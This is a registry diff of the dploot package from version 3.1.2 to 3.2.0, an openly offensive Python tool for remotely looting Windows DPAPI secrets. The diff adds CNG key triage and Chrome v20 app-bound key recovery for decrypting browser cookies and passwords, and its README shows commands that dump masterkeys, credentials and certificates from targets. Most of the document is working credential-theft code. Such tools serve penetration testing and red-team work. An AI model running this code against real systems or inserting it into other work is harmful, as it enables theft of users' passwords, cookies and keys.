dploot 3.1.2__tar.gz → 3.2.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (50) hide show
  1. {dploot-3.1.2 → dploot-3.2.0}/PKG-INFO +15 -23
  2. {dploot-3.1.2 → dploot-3.2.0}/README.md +6 -8
  3. {dploot-3.1.2 → dploot-3.2.0}/dploot/action/browser.py +17 -0
  4. dploot-3.2.0/dploot/action/cng.py +129 -0
  5. dploot-3.2.0/dploot/action/machinecng.py +120 -0
  6. {dploot-3.1.2 → dploot-3.2.0}/dploot/entry.py +4 -0
  7. dploot-3.2.0/dploot/lib/consts.py +30 -0
  8. {dploot-3.1.2 → dploot-3.2.0}/dploot/lib/crypto.py +105 -7
  9. {dploot-3.1.2 → dploot-3.2.0}/dploot/lib/dpapi.py +2 -2
  10. {dploot-3.1.2 → dploot-3.2.0}/dploot/lib/masterkey.py +2 -2
  11. {dploot-3.1.2 → dploot-3.2.0}/dploot/lib/smb.py +51 -20
  12. {dploot-3.1.2 → dploot-3.2.0}/dploot/lib/target.py +2 -0
  13. {dploot-3.1.2 → dploot-3.2.0}/dploot/lib/utils.py +1 -1
  14. {dploot-3.1.2 → dploot-3.2.0}/dploot/triage/__init__.py +6 -7
  15. {dploot-3.1.2 → dploot-3.2.0}/dploot/triage/browser.py +84 -53
  16. {dploot-3.1.2 → dploot-3.2.0}/dploot/triage/certificates.py +62 -40
  17. dploot-3.2.0/dploot/triage/cng.py +165 -0
  18. {dploot-3.1.2 → dploot-3.2.0}/dploot/triage/credentials.py +11 -12
  19. {dploot-3.1.2 → dploot-3.2.0}/dploot/triage/masterkeys.py +7 -8
  20. {dploot-3.1.2 → dploot-3.2.0}/dploot/triage/mobaxterm.py +1 -2
  21. {dploot-3.1.2 → dploot-3.2.0}/dploot/triage/rdg.py +1 -2
  22. {dploot-3.1.2 → dploot-3.2.0}/dploot/triage/vaults.py +3 -4
  23. {dploot-3.1.2 → dploot-3.2.0}/dploot/triage/wam.py +6 -3
  24. {dploot-3.1.2 → dploot-3.2.0}/dploot/triage/wifi.py +13 -18
  25. {dploot-3.1.2 → dploot-3.2.0}/pyproject.toml +14 -14
  26. dploot-3.1.2/dploot/lib/consts.py +0 -11
  27. {dploot-3.1.2 → dploot-3.2.0}/LICENSE +0 -0
  28. {dploot-3.1.2 → dploot-3.2.0}/dploot/__init__.py +0 -0
  29. {dploot-3.1.2 → dploot-3.2.0}/dploot/action/__init__.py +0 -0
  30. {dploot-3.1.2 → dploot-3.2.0}/dploot/action/backupkey.py +0 -0
  31. {dploot-3.1.2 → dploot-3.2.0}/dploot/action/blob.py +0 -0
  32. {dploot-3.1.2 → dploot-3.2.0}/dploot/action/certificates.py +0 -0
  33. {dploot-3.1.2 → dploot-3.2.0}/dploot/action/credentials.py +0 -0
  34. {dploot-3.1.2 → dploot-3.2.0}/dploot/action/machinecertificates.py +0 -0
  35. {dploot-3.1.2 → dploot-3.2.0}/dploot/action/machinecredentials.py +0 -0
  36. {dploot-3.1.2 → dploot-3.2.0}/dploot/action/machinemasterkeys.py +0 -0
  37. {dploot-3.1.2 → dploot-3.2.0}/dploot/action/machinetriage.py +0 -0
  38. {dploot-3.1.2 → dploot-3.2.0}/dploot/action/machinevaults.py +0 -0
  39. {dploot-3.1.2 → dploot-3.2.0}/dploot/action/masterkeys.py +0 -0
  40. {dploot-3.1.2 → dploot-3.2.0}/dploot/action/mobaxterm.py +0 -0
  41. {dploot-3.1.2 → dploot-3.2.0}/dploot/action/rdg.py +0 -0
  42. {dploot-3.1.2 → dploot-3.2.0}/dploot/action/sccm.py +0 -0
  43. {dploot-3.1.2 → dploot-3.2.0}/dploot/action/triage.py +0 -0
  44. {dploot-3.1.2 → dploot-3.2.0}/dploot/action/vaults.py +0 -0
  45. {dploot-3.1.2 → dploot-3.2.0}/dploot/action/wam.py +0 -0
  46. {dploot-3.1.2 → dploot-3.2.0}/dploot/action/wifi.py +0 -0
  47. {dploot-3.1.2 → dploot-3.2.0}/dploot/lib/__init__.py +0 -0
  48. {dploot-3.1.2 → dploot-3.2.0}/dploot/lib/wmi.py +0 -0
  49. {dploot-3.1.2 → dploot-3.2.0}/dploot/triage/backupkey.py +0 -0
  50. {dploot-3.1.2 → dploot-3.2.0}/dploot/triage/sccm.py +0 -0
@@ -1,26 +1,20 @@
1
- Metadata-Version: 2.1
1
+ Metadata-Version: 2.4
2
2
  Name: dploot
3
- Version: 3.1.2
3
+ Version: 3.2.0
4
4
  Summary: DPAPI looting remotely in Python
5
- Home-page: https://github.com/zblurx/dploot
6
- License: MIT
5
+ License-Expression: MIT
6
+ License-File: LICENSE
7
7
  Keywords: DPAPI,credentials,Windows
8
- Author: zblurx
8
+ Author: Thomas Seigneuret
9
9
  Author-email: seigneuret.thomas@protonmail.com
10
- Requires-Python: >=3.10.0,<4.0.0
11
- Classifier: Environment :: Console
12
- Classifier: License :: OSI Approved :: MIT License
13
- Classifier: Programming Language :: Python :: 3
14
- Classifier: Programming Language :: Python :: 3.10
15
- Classifier: Programming Language :: Python :: 3.11
16
- Classifier: Programming Language :: Python :: 3.12
17
- Classifier: Programming Language :: Python :: 3.13
18
10
  Classifier: Topic :: Security
11
+ Classifier: Programming Language :: Python :: 3
12
+ Classifier: License :: OSI Approved :: MIT License
13
+ Classifier: Environment :: Console
19
14
  Requires-Dist: cryptography (>=40.0.1)
20
15
  Requires-Dist: impacket (>=0.12.0)
21
16
  Requires-Dist: lxml (>=5.0)
22
- Requires-Dist: pyasn1 (>=0.4.8,<0.5.0)
23
- Project-URL: Repository, https://github.com/zblurx/dploot
17
+ Requires-Dist: pyasn1 (>=0.4.8)
24
18
  Description-Content-Type: text/markdown
25
19
 
26
20
  # dploot
@@ -88,10 +82,9 @@ sudo apt install python3-dploot
88
82
  ## Usage
89
83
 
90
84
  ```text
91
- dploot (https://github.com/zblurx/dploot) v3.0.0 by @_zblurx
85
+ dploot (https://github.com/zblurx/dploot) v3.1.2 by @_zblurx
92
86
  usage: dploot [-h]
93
- {certificates,credentials,masterkeys,vaults,backupkey,blob,rdg,sccm,triage,machinemasterkeys,machinecredentials,machinevaults,machinecertificates,machinetriage,browser,wifi,mobaxterm,wam}
94
- ...
87
+ {backupkey,blob,browser,certificates,credentials,machinecertificates,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi} ...
95
88
 
96
89
  DPAPI looting locally remotely in Python
97
90
 
@@ -107,8 +100,7 @@ positional arguments:
107
100
  Dump system certificates from local or remote target
108
101
  machinecredentials Dump system credentials from local or remote target
109
102
  machinemasterkeys Dump system masterkey from local or remote target
110
- machinetriage Loot SYSTEM Masterkeys (if not set), SYSTEM credentials, SYSTEM certificates and SYSTEM vaults from local or remote
111
- target
103
+ machinetriage Loot SYSTEM Masterkeys (if not set), SYSTEM credentials, SYSTEM certificates and SYSTEM vaults from local or remote target
112
104
  machinevaults Dump system vaults from local or remote target
113
105
  masterkeys Dump users masterkey from local or remote target
114
106
  mobaxterm Dump Passwords and Credentials from MobaXterm
@@ -145,13 +137,13 @@ $ dploot machinecertificates -d waza.local -u Administrator -p 'Password!123' -t
145
137
  A different way of gaining local administrator access to a system, for instance via physical access, extracting the drive and mounting the filesystem directly on your machine. To use this mode, specify `LOCAL` as the target. By default the target filesystem is expected to be the current directory, you can specify a different path with `-root`:
146
138
 
147
139
  ```text
148
- $ dploot sccm -root /media/C_drive/ LOCAL
149
- [*] Connected to LOCAL as \None (admin)
140
+ $ dploot sccm -root /media/C_drive/ -t LOCAL
141
+ [*] Connected to LOCAL as \ (admin)
150
142
  ```
151
143
 
152
144
  It can still be useful to give valid username and password as arguments, which will be used to decrypt masterkeys (see the instructions in [User Triage](#user-triage) below):
153
145
  ```text
154
- $ dploot masterkeys -root /mnt -u bob -p Password LOCAL
146
+ $ dploot masterkeys -root /mnt -u bob -p Password -t LOCAL
155
147
  [*] Connected to LOCAL as \bob (admin)
156
148
  ```
157
149
 
@@ -63,10 +63,9 @@ sudo apt install python3-dploot
63
63
  ## Usage
64
64
 
65
65
  ```text
66
- dploot (https://github.com/zblurx/dploot) v3.0.0 by @_zblurx
66
+ dploot (https://github.com/zblurx/dploot) v3.1.2 by @_zblurx
67
67
  usage: dploot [-h]
68
- {certificates,credentials,masterkeys,vaults,backupkey,blob,rdg,sccm,triage,machinemasterkeys,machinecredentials,machinevaults,machinecertificates,machinetriage,browser,wifi,mobaxterm,wam}
69
- ...
68
+ {backupkey,blob,browser,certificates,credentials,machinecertificates,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi} ...
70
69
 
71
70
  DPAPI looting locally remotely in Python
72
71
 
@@ -82,8 +81,7 @@ positional arguments:
82
81
  Dump system certificates from local or remote target
83
82
  machinecredentials Dump system credentials from local or remote target
84
83
  machinemasterkeys Dump system masterkey from local or remote target
85
- machinetriage Loot SYSTEM Masterkeys (if not set), SYSTEM credentials, SYSTEM certificates and SYSTEM vaults from local or remote
86
- target
84
+ machinetriage Loot SYSTEM Masterkeys (if not set), SYSTEM credentials, SYSTEM certificates and SYSTEM vaults from local or remote target
87
85
  machinevaults Dump system vaults from local or remote target
88
86
  masterkeys Dump users masterkey from local or remote target
89
87
  mobaxterm Dump Passwords and Credentials from MobaXterm
@@ -120,13 +118,13 @@ $ dploot machinecertificates -d waza.local -u Administrator -p 'Password!123' -t
120
118
  A different way of gaining local administrator access to a system, for instance via physical access, extracting the drive and mounting the filesystem directly on your machine. To use this mode, specify `LOCAL` as the target. By default the target filesystem is expected to be the current directory, you can specify a different path with `-root`:
121
119
 
122
120
  ```text
123
- $ dploot sccm -root /media/C_drive/ LOCAL
124
- [*] Connected to LOCAL as \None (admin)
121
+ $ dploot sccm -root /media/C_drive/ -t LOCAL
122
+ [*] Connected to LOCAL as \ (admin)
125
123
  ```
126
124
 
127
125
  It can still be useful to give valid username and password as arguments, which will be used to decrypt masterkeys (see the instructions in [User Triage](#user-triage) below):
128
126
  ```text
129
- $ dploot masterkeys -root /mnt -u bob -p Password LOCAL
127
+ $ dploot masterkeys -root /mnt -u bob -p Password -t LOCAL
130
128
  [*] Connected to LOCAL as \bob (admin)
131
129
  ```
132
130
 
@@ -11,6 +11,7 @@ from dploot.lib.smb import DPLootSMBConnection
11
11
  from dploot.lib.target import Target, add_target_argument_group
12
12
  from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
13
13
  from dploot.triage.browser import BrowserTriage, Cookie
14
+ from dploot.triage.cng import CngTriage
14
15
  from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
15
16
 
16
17
  NAME = "browser"
@@ -95,6 +96,21 @@ class BrowserAction:
95
96
  else:
96
97
  secret.dump()
97
98
 
99
+ cng_chromekey = None
100
+
101
+ if self.options.v20support:
102
+ triage = CngTriage(
103
+ target=self.target,
104
+ conn=self.conn,
105
+ masterkeys=self.masterkeys,
106
+ )
107
+ logging.info("Triage SYSTEM CNG files\n")
108
+
109
+ for cng_file in triage.triage_system_cng():
110
+ if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1":
111
+ logging.info("Found CNG Google ChromeKey1\n")
112
+ cng_chromekey = cng_file.decrypted_private_key
113
+
98
114
  triage = BrowserTriage(
99
115
  target=self.target,
100
116
  conn=self.conn,
@@ -107,6 +123,7 @@ class BrowserAction:
107
123
  )
108
124
  triage.triage_browsers(
109
125
  gather_cookies=self.options.show_cookies,
126
+ cng_chromekey=cng_chromekey,
110
127
  bypass_shared_violation=self.options.bypass_shared_violation,
111
128
  )
112
129
  if self.outputdir is not None:
@@ -0,0 +1,129 @@
1
+ import argparse
2
+ import logging
3
+ import sys
4
+ from typing import Callable, Tuple
5
+
6
+ from dploot.action.masterkeys import add_masterkeys_argument_group, parse_masterkeys_options
7
+ from dploot.lib.smb import DPLootSMBConnection
8
+ from dploot.lib.target import Target, add_target_argument_group
9
+ from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
10
+ from dploot.triage.cng import CngTriage
11
+ from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
12
+
13
+
14
+ NAME = "cng"
15
+
16
+ class CngAction:
17
+ def __init__(self, options: argparse.Namespace) -> None:
18
+ self.options = options
19
+ self.target = Target.from_options(options)
20
+
21
+ self.conn = None
22
+ self._is_admin = None
23
+ self.outputdir = None
24
+ self.masterkeys = None
25
+ self.pvkbytes = None
26
+ self.passwords = None
27
+ self.nthashes = None
28
+
29
+ self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
30
+
31
+ if self.options.mkfile is not None:
32
+ try:
33
+ self.masterkeys = parse_masterkey_file(self.options.mkfile)
34
+ except Exception as e:
35
+ logging.error(str(e))
36
+ sys.exit(1)
37
+
38
+ self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(
39
+ self.options, self.target
40
+ )
41
+
42
+ def connect(self) -> None:
43
+ self.conn = DPLootSMBConnection(self.target)
44
+ if self.conn.connect() is None:
45
+ logging.error("Could not connect to %s" % self.target.address)
46
+ sys.exit(1)
47
+
48
+ def run(self) -> None:
49
+ self.connect()
50
+ logging.info(
51
+ "Connected to {} as {}\\{} {}\n".format(
52
+ self.target.address,
53
+ self.target.domain,
54
+ self.target.username,
55
+ ("(admin)" if self.is_admin else ""),
56
+ )
57
+ )
58
+ if self.is_admin:
59
+ if self.masterkeys is None:
60
+
61
+ def masterkey_triage(masterkey):
62
+ masterkey.dump()
63
+
64
+ masterkeytriage = MasterkeysTriage(
65
+ target=self.target,
66
+ conn=self.conn,
67
+ pvkbytes=self.pvkbytes,
68
+ nthashes=self.nthashes,
69
+ passwords=self.passwords,
70
+ per_masterkey_callback=masterkey_triage
71
+ if not self.options.quiet
72
+ else None,
73
+ )
74
+ logging.info("Triage ALL USERS masterkeys\n")
75
+ self.masterkeys = masterkeytriage.triage_masterkeys()
76
+ print()
77
+ if self.outputdir is not None:
78
+ dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files)
79
+
80
+ def cng_callback(cng):
81
+ if self.options.quiet:
82
+ cng.dump_quiet()
83
+ else:
84
+ cng.dump()
85
+
86
+ triage = CngTriage(
87
+ target=self.target,
88
+ conn=self.conn,
89
+ masterkeys=self.masterkeys,
90
+ per_cng_callback=cng_callback,
91
+ )
92
+ logging.info("Triage CNG files for ALL USERS\n")
93
+ triage.triage_cng()
94
+ if self.outputdir is not None:
95
+ dump_looted_files_to_disk(self.outputdir, triage.looted_files)
96
+ else:
97
+ logging.info("Not an admin, exiting...")
98
+
99
+ @property
100
+ def is_admin(self) -> bool:
101
+ if self._is_admin is not None:
102
+ return self._is_admin
103
+
104
+ self._is_admin = self.conn.is_admin()
105
+ return self._is_admin
106
+
107
+
108
+ def entry(options: argparse.Namespace) -> None:
109
+ a = CngAction(options)
110
+ a.run()
111
+
112
+
113
+ def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
114
+ subparser = subparsers.add_parser(
115
+ NAME, help="Dump users CNG files blob from local or remote target"
116
+ )
117
+
118
+ group = subparser.add_argument_group("cng options")
119
+
120
+ group.add_argument(
121
+ "-mkfile",
122
+ action="store",
123
+ help=("File containing {GUID}:SHA1 masterkeys mappings"),
124
+ )
125
+
126
+ add_masterkeys_argument_group(group)
127
+ add_target_argument_group(subparser)
128
+
129
+ return NAME, entry
@@ -0,0 +1,120 @@
1
+ import argparse
2
+ import logging
3
+ import sys
4
+ from typing import Callable, Tuple
5
+
6
+ from dploot.lib.smb import DPLootSMBConnection
7
+ from dploot.lib.target import Target, add_target_argument_group
8
+ from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
9
+ from dploot.triage.cng import CngTriage
10
+ from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
11
+
12
+
13
+ NAME = "machinecng"
14
+
15
+
16
+ class MachineCngAction:
17
+ def __init__(self, options: argparse.Namespace) -> None:
18
+ self.options = options
19
+
20
+ self.target = Target.from_options(options)
21
+
22
+ self.conn = None
23
+ self._is_admin = None
24
+ self.masterkeys = None
25
+ self.outputdir = None
26
+
27
+ self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
28
+
29
+ if self.options.mkfile is not None:
30
+ try:
31
+ self.masterkeys = parse_masterkey_file(self.options.mkfile)
32
+ except Exception as e:
33
+ logging.error(str(e))
34
+ sys.exit(1)
35
+
36
+ def connect(self) -> None:
37
+ self.conn = DPLootSMBConnection(self.target)
38
+ if self.conn.connect() is None:
39
+ logging.error("Could not connect to %s" % self.target.address)
40
+ sys.exit(1)
41
+
42
+ def run(self) -> None:
43
+ self.connect()
44
+ logging.info(
45
+ "Connected to {} as {}\\{} {}\n".format(
46
+ self.target.address,
47
+ self.target.domain,
48
+ self.target.username,
49
+ ("(admin)" if self.is_admin else ""),
50
+ )
51
+ )
52
+ if self.is_admin:
53
+ if self.masterkeys is None:
54
+
55
+ def masterkey_triage(masterkey):
56
+ masterkey.dump()
57
+
58
+ masterkeytriage = MasterkeysTriage(
59
+ target=self.target,
60
+ conn=self.conn,
61
+ per_masterkey_callback=masterkey_triage
62
+ if not self.options.quiet
63
+ else None,
64
+ )
65
+ logging.info("Triage SYSTEM masterkeys\n")
66
+ self.masterkeys = masterkeytriage.triage_system_masterkeys()
67
+ print()
68
+ if self.outputdir is not None:
69
+ dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files)
70
+
71
+ def cng_callback(cng_file):
72
+ if self.options.quiet:
73
+ cng_file.dump_quiet()
74
+ else:
75
+ cng_file.dump()
76
+
77
+ triage = CngTriage(
78
+ target=self.target,
79
+ conn=self.conn,
80
+ masterkeys=self.masterkeys,
81
+ per_cng_callback=cng_callback,
82
+ )
83
+ logging.info("Triage SYSTEM CNG files\n")
84
+ triage.triage_system_cng()
85
+ if self.outputdir is not None:
86
+ dump_looted_files_to_disk(self.outputdir, triage.looted_files)
87
+
88
+ else:
89
+ logging.info("Not an admin, exiting...")
90
+
91
+ @property
92
+ def is_admin(self) -> bool:
93
+ if self._is_admin is not None:
94
+ return self._is_admin
95
+
96
+ self._is_admin = self.conn.is_admin()
97
+ return self._is_admin
98
+
99
+
100
+ def entry(options: argparse.Namespace) -> None:
101
+ a = MachineCngAction(options)
102
+ a.run()
103
+
104
+
105
+ def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
106
+ subparser = subparsers.add_parser(
107
+ NAME, help="Dump system CNG files from local or remote target"
108
+ )
109
+
110
+ group = subparser.add_argument_group("machinecng options")
111
+
112
+ group.add_argument(
113
+ "-mkfile",
114
+ action="store",
115
+ help=("File containing {GUID}:SHA1 masterkeys mappings"),
116
+ )
117
+
118
+ add_target_argument_group(subparser)
119
+
120
+ return NAME, entry
@@ -11,8 +11,10 @@ from dploot.action import (
11
11
  blob,
12
12
  browser,
13
13
  certificates,
14
+ cng,
14
15
  credentials,
15
16
  machinecertificates,
17
+ machinecng,
16
18
  machinecredentials,
17
19
  machinemasterkeys,
18
20
  machinetriage,
@@ -32,8 +34,10 @@ ENTRY_PARSERS = [
32
34
  blob,
33
35
  browser,
34
36
  certificates,
37
+ cng,
35
38
  credentials,
36
39
  machinecertificates,
40
+ machinecng,
37
41
  machinecredentials,
38
42
  machinemasterkeys,
39
43
  machinetriage,
@@ -0,0 +1,30 @@
1
+ # Define some dploot consts.
2
+
3
+ FALSE_POSITIVES = [
4
+ ".",
5
+ "..",
6
+ "desktop.ini",
7
+ "Public",
8
+ "Default",
9
+ "Default User",
10
+ "All Users",
11
+ ]
12
+
13
+ # simple class to check for false positives, case insensitive
14
+ class FalsePositives(list):
15
+ def __init__(self,
16
+ false_positives: list[str] = None
17
+ ) -> None:
18
+ if false_positives is None:
19
+ false_positives = FALSE_POSITIVES
20
+
21
+ super().__init__(map (lambda x: x.lower(), false_positives))
22
+
23
+ def __contains__(self, name):
24
+ return super().__contains__(str(name).lower())
25
+
26
+ def __setitem__(self, key, value):
27
+ return super().__setitem__(key,str(value).lower())
28
+
29
+ def append(self, element):
30
+ return super().append(str(element).lower())
@@ -43,6 +43,107 @@ class CERTBLOB:
43
43
  print()
44
44
  print("DER : %s " % (self.der))
45
45
 
46
+ # CNG PART
47
+ class CNG_PROPERTY(Structure):
48
+ structure = (
49
+ ("StructLen", "<L=0"),
50
+ ("Type", "<L=0"),
51
+ ("Unknown", "<L=0"),
52
+ ("NameLen", "<L=0"),
53
+ ("PropertyLen", "<L=0"),
54
+ ("_Name", "_-Name", 'self["NameLen"]'),
55
+ ("Name", ":"),
56
+ ("_Property", "_-Property", 'self["PropertyLen"]'),
57
+ ("Property", ":"),
58
+ )
59
+
60
+ def dump(self):
61
+ print("[CNG PROPERTY]")
62
+ print("StructLen : %8x (%d)" % (self["StructLen"], self["StructLen"]))
63
+ print("Type : %8x (%d)" % (self["Type"], self["Type"]))
64
+ print("Unknown : %8x (%d)" % (self["Unknown"], self["Unknown"]))
65
+ print("NameLen : %8x (%d)" % (self["NameLen"], self["NameLen"]))
66
+ print("PropertyLen : %8x (%d)" % (self["PropertyLen"], self["PropertyLen"]))
67
+ print("Name : %s" % (self["Name"].decode("utf-16le").rstrip("\0")))
68
+ print("Property : %s" % hexlify(self["Property"]))
69
+
70
+ class CNG_PROPERTIES:
71
+ def __init__(self, data=None, alignment=0):
72
+ remaining = data
73
+ self.properties = []
74
+ while len(remaining) > 0:
75
+ prop = CNG_PROPERTY(remaining)
76
+ self.properties.append(prop)
77
+ remaining = remaining[len(prop) :]
78
+
79
+ def __len__(self):
80
+ length = 0
81
+ for prop in self.properties:
82
+ length += len(prop)
83
+ return length
84
+
85
+ def dump(self):
86
+ for prop in self.properties:
87
+ prop.dump()
88
+
89
+ class CNG_BLOB(Structure):
90
+ structure = (
91
+ ("Version", "<L=1"),
92
+ ("Unknown", "<L=0"),
93
+ ("NameLen", "<L=0"),
94
+ ("Type", "<L=0"),
95
+ ("PublicPropLen", "<L=0"),
96
+ ("PrivatePropLen", "<L=0"),
97
+ ("PrivateKeyLen", "<L=0"),
98
+ ("Unknown2", "16s=b'\\x00'*16"),
99
+ ("_Name", "_-Name", 'self["NameLen"]'),
100
+ ("Name", ":"),
101
+ ("_PublicProperties", "_-PublicProperties", 'self["PublicPropLen"]'),
102
+ ("PublicProperties", ":", CNG_PROPERTIES),
103
+ ("_PrivateProperties", "_-PrivateProperties", 'self["PrivatePropLen"]'),
104
+ ("PrivateProperties", ":", DPAPI_BLOB),
105
+ ("_PrivateKey", "_-PrivateKey", 'self["PrivateKeyLen"]'),
106
+ ("PrivateKey", ":", DPAPI_BLOB),
107
+ )
108
+
109
+ def dump(self):
110
+ print("[CNG BLOB]")
111
+ print("Version : %8x (%d)" % (self["Version"], self["Version"]))
112
+ print("Unknown : %8x (%d)" % (self["Unknown"], self["Unknown"]))
113
+ print("NameLen : %8x (%d)" % (self["NameLen"], self["NameLen"]))
114
+ print("Type : %8x (%d)" % (self["Type"], self["Type"]))
115
+ print("PublicPropLen : %8x (%d)" % (self["PublicPropLen"], self["PublicPropLen"]))
116
+ print("PrivatePropLey : %8x (%d)" % (self["PrivatePropLen"], self["PrivatePropLen"]))
117
+ print("PrivateKeyLen : %8x (%d)" % (self["PrivateKeyLen"], self["PrivateKeyLen"]))
118
+ print("Unknown2 : %s " % (self["Unknown2"]))
119
+ print("Name : %s" % (self["Name"].decode("utf-16le").rstrip("\0")))
120
+ print()
121
+ print("PublicProperties:")
122
+ self["PublicProperties"].dump()
123
+ print()
124
+ print("PrivateProperties:")
125
+ self["PrivateProperties"].dump()
126
+ print()
127
+ print("PrivateKey:")
128
+ self["PrivateKey"].dump()
129
+
130
+ class CHROME_KEY_DATA_BLOB(Structure):
131
+ structure = (
132
+ ("Magic", "<I"),
133
+ ("Version", "<I"),
134
+ ("KeyLen", "<I"),
135
+ ("_Key", "_-Key", 'self["KeyLen"]'),
136
+ ("Key", ":"),
137
+ ("Remaining", ":")
138
+ )
139
+
140
+ def dump(self):
141
+ print("[BCRYPT KEY DATA]")
142
+ print("Magic : %4x (%s)" % (self["Magic"], self["Magic"]))
143
+ print("Version : %4x (%d)" % (self["Version"], self["Version"]))
144
+ print("KeyLen : %4x (%d)" % (self["KeyLen"], self["KeyLen"]))
145
+ print("Key : %s" % hexlify(self["Key"]))
146
+ print("Remaining : %s" % hexlify(self["Remaining"]))
46
147
 
47
148
  # https://github.com/SecureAuthCorp/impacket/pull/1120
48
149
  # Private Decrypted Private Key
@@ -258,7 +359,7 @@ class PVKHeader(Structure):
258
359
 
259
360
  def pvkblob_to_pkcs1(key):
260
361
  """
261
- modified from impacket dpapi.py
362
+ Modified from impacket dpapi.py
262
363
  parse private key into pkcs#1 format
263
364
  :param key:
264
365
  :return:
@@ -280,12 +381,7 @@ def decrypt_chrome_password(encrypted_password: str, aeskey: bytes):
280
381
  iv, payload = rest[:12], rest[12:]
281
382
  cipher = AES.new(aeskey, AES.MODE_GCM, iv)
282
383
  decrypted = cipher.decrypt(payload)
283
- if version in (b"v10",b"v11"):
284
- decrypted = decrypted[:-16]
285
- elif version in (b"v20"):
286
- decrypted = decrypted[32:]
287
- decrypted = decrypted[:-16]
288
- decrypted = decrypted.decode("utf-8")
384
+ decrypted = decrypted[:-16]
289
385
  return decrypted or None
290
386
 
291
387
  def deriveKeysFromUser(sid, password):
@@ -303,6 +399,8 @@ def deriveKeysFromUser(sid, password):
303
399
 
304
400
  return key1, key2, key3
305
401
 
402
+ def byte_xor(ba1, ba2):
403
+ return bytes([_a ^ _b for _a, _b in zip(ba1, ba2, strict=False)])
306
404
 
307
405
  def deriveKeysFromUserkey(sid, nthash):
308
406
  key1 = HMAC.new(nthash, (sid + "\0").encode("utf-16le"), SHA1).digest() # SHA1
@@ -141,7 +141,7 @@ def find_masterkey_for_credential_blob(
141
141
 
142
142
 
143
143
  def decrypt_privatekey(
144
- privatekey_bytes: bytes, masterkey: Any, cng: bool = False
144
+ privatekey_bytes: bytes, masterkey: Any
145
145
  ) -> RSA.RsaKey:
146
146
  blob = PVKHeader(privatekey_bytes)
147
147
  blob = PVKFile_SIG(privatekey_bytes) if blob["SigHeadLen"] > 0 else PVKFile(privatekey_bytes)
@@ -152,7 +152,7 @@ def decrypt_privatekey(
152
152
 
153
153
 
154
154
  def find_masterkey_for_privatekey_blob(
155
- privatekey_bytes: bytes, masterkeys: List[Any], cng: bool = False
155
+ privatekey_bytes: bytes, masterkeys: List[Any]
156
156
  ) -> "Any | None":
157
157
  blob = PVKHeader(privatekey_bytes)
158
158
  if len(blob["Remaining"]) == 0:
@@ -11,10 +11,10 @@ from dploot.lib.dpapi import decrypt_masterkey
11
11
 
12
12
 
13
13
  class Masterkey:
14
- def __init__(self, guid, blob = None, sid = None, key = None, sha1 = None, user: str = "None") -> None:
14
+ def __init__(self, guid, blob = None, sid:str = None, key = None, sha1 = None, user: str = "None") -> None:
15
15
  self.guid = guid
16
16
  self.blob = blob
17
- self.sid = sid
17
+ self.sid = str(sid).upper()
18
18
  self.user = user
19
19
 
20
20
  self.key = key